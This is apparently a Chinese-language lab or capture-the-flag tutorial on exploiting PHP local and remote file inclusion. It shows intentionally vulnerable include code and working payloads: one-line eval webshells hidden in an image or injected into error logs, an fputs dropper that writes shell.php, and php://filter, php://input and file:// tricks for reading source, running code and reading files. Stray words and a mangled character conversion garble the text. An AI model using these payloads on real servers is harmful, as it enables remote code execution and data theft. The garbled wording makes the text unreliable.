//include包含 <?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>'; include "$_GET[page]"; ?> //放在網站目錄下,直接能夠訪問網站下文件(文件名2.php) //訪問時:http://127.0.0.1/2.php?page=1.txt (1.txt是放在網站的目錄)至關於<?php include '1.txt';?> include包括文件
<?php $a = "$_GET[page]";//得到GET中的值 雙引號解析變量 單引號原子符輸出 $a = $_GET['page']; echo $a; ?> //http://127.0.0.1/4.php?page=55將55傳入文件中並賦值給變量a
本地文件包含(Loacl File Inclusion,LFI):php
經過瀏覽器引進(包含)web服務器上的文件,這種漏洞是由於瀏覽器包含文件時沒有進行嚴格 的過濾容許遍歷目錄的字符注入瀏覽器並執行。html
遠程文件包含(Remote File Inclusion,RFI):web
該漏洞容許攻擊者包含一個遠程的文件,通常是在遠程服務器上預先設置好的腳本。 此漏洞是由於瀏覽器對用戶的輸入沒有進行檢查,致使不一樣程度的信息泄露、拒絕服務攻擊 甚至在目標服務器上執行代碼。shell
利用文件包含漏洞必須包括main.php中代碼 <?php $a = "$_GET[page]"; include $a; ?>
1.圖片一句話木馬
先用命令或工具把一句話木馬加載到圖片中瀏覽器
上傳圖片服務器
利用菜刀連工具
http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg網站
2.日誌一句話木馬ui
利用錯誤日誌編碼
將一句話木馬寫入錯誤日誌中
http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包
在bp中自動編碼因此要改爲
在日誌文件中顯示
利用菜刀鏈接
http://10.1.2.5:17857/cs/main.php?page=錯誤日誌路徑 (在鏈接錯誤日誌的時候可能鏈接不上,多是錯誤日誌文件過多,須要清理)
3.利用遠程訪問
//在test.php中 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞運行test.php文件會在文件目錄建立shell.php ?>
http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路徑所在地)
4.PHP封裝協議讀取文件
http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 獲取源代碼
返回到網頁中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+
再利用Base64解碼
<?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />'; include "$_GET[page]"; ?>
5.PHP封裝協議執行命令
http://10.1.2.5:17857/cs/main.php?page=php://input
進行執行PHP代碼
6.file協議 須要服務器的絕對路徑
http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt